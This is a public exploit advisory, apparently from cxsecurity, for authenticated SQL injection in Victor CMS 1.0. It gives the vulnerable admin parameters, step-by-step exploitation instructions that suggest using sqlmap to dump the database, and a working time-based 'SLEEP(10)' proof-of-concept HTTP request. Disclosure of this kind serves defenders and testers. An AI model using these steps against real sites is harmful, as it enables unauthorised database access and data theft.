## **Victor CMS 1.0 Multiple SQL Injection (Authenticated)**

| 2020.12.17  Credit: Furkan Göksel (https://cxsecurity.com/author/Furkan+G%C3%B6ksel/1/) |  |        |                   |                          |  |
|---|--|--------|-------------------|--------------------------|--|
|   |  |        |                   |                          |  |
| CVE: N/A  |  | CWE: C | WE-89 (https://co | security.com/cwe/CWE-89) |  |
|   |  |        |                   |                          |  |
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| # Exploit Title: Victor CMS 1.0 - Multiple SQL Injection (Authenticated)           |  |  |  |  |  |
|--|--|--|--|--|--|
| # Date: 17.12.2020   |  |  |  |  |  |
| # Exploit Author: Furkan Göksel  |  |  |  |  |  |
| # Vendor Homepage: https://github.com/VictorAlagwu/CMSsite                         |  |  |  |  |  |
| # Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip        |  |  |  |  |  |
| # Version: 1.0   |  |  |  |  |  |
| # Description: The Victor CMS v1.0 application is vulnerable to SQL                |  |  |  |  |  |
| # injection in c_id parameter of admin_edit_comment.php, p_id parameter            |  |  |  |  |  |
| # of admin_edit_post.php, u_id parameter of admin_edit_user.php, edit              |  |  |  |  |  |
| # parameter of admin_update_categories.php.  |  |  |  |  |  |
|  |  |  |  |  |  |
| # Tested on: Apache2/Linux   |  |  |  |  |  |
|  |  |  |  |  |  |
| Step 1: Register the system through main page and login your account               |  |  |  |  |  |
|  |  |  |  |  |  |
| Step 2: After successful login, select one of the specified tabs                   |  |  |  |  |  |
| (post, categories, comments, users)  |  |  |  |  |  |
|  |  |  |  |  |  |
| Step 3: When you click edit button of these records, an HTTP request               |  |  |  |  |  |
| is sent to server to get details of this record with corresponding                 |  |  |  |  |  |
| parameters (eg. for edit comment it is c_id parameter)                             |  |  |  |  |  |
|  |  |  |  |  |  |
| Step 4: Inject your SQL payload to these ids or use sqlmap to dump                 |  |  |  |  |  |
|  |  |  |  |  |  |
| Example PoC request is as follows:   |  |  |  |  |  |
|  |  |  |  |  |  |
| GET /cve/admin/comment.php?source=edit_comment&c_id=2%20AND%20SLEEP(10) HTTP/1.1   |  |  |  |  |  |
|  |  |  |  |  |  |
| Host: 127.0.0.1  |  |  |  |  |  |
| User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0)                       |  |  |  |  |  |
| Gecko/20100101 Firefox/83.0  |  |  |  |  |  |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 |  |  |  |  |  |
| Accept-Language: en-US,en;q=0.5  |  |  |  |  |  |
| Accept-Encoding: gzip, deflate   |  |  |  |  |  |
| Connection: close  |  |  |  |  |  |
| Cookie: PHPSESSID=st8hhobgplut500p3lpug8qa66                                       |  |  |  |  |  |
| Upgrade-Insecure-Requests: 1   |  |  |  |  |  |
|  |  |  |  |  |  |
| Same PoC payload is valid for all edit features of specified tabs.                 |  |  |  |  |  |

| See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020120118) |     |     |  |  |  |  |
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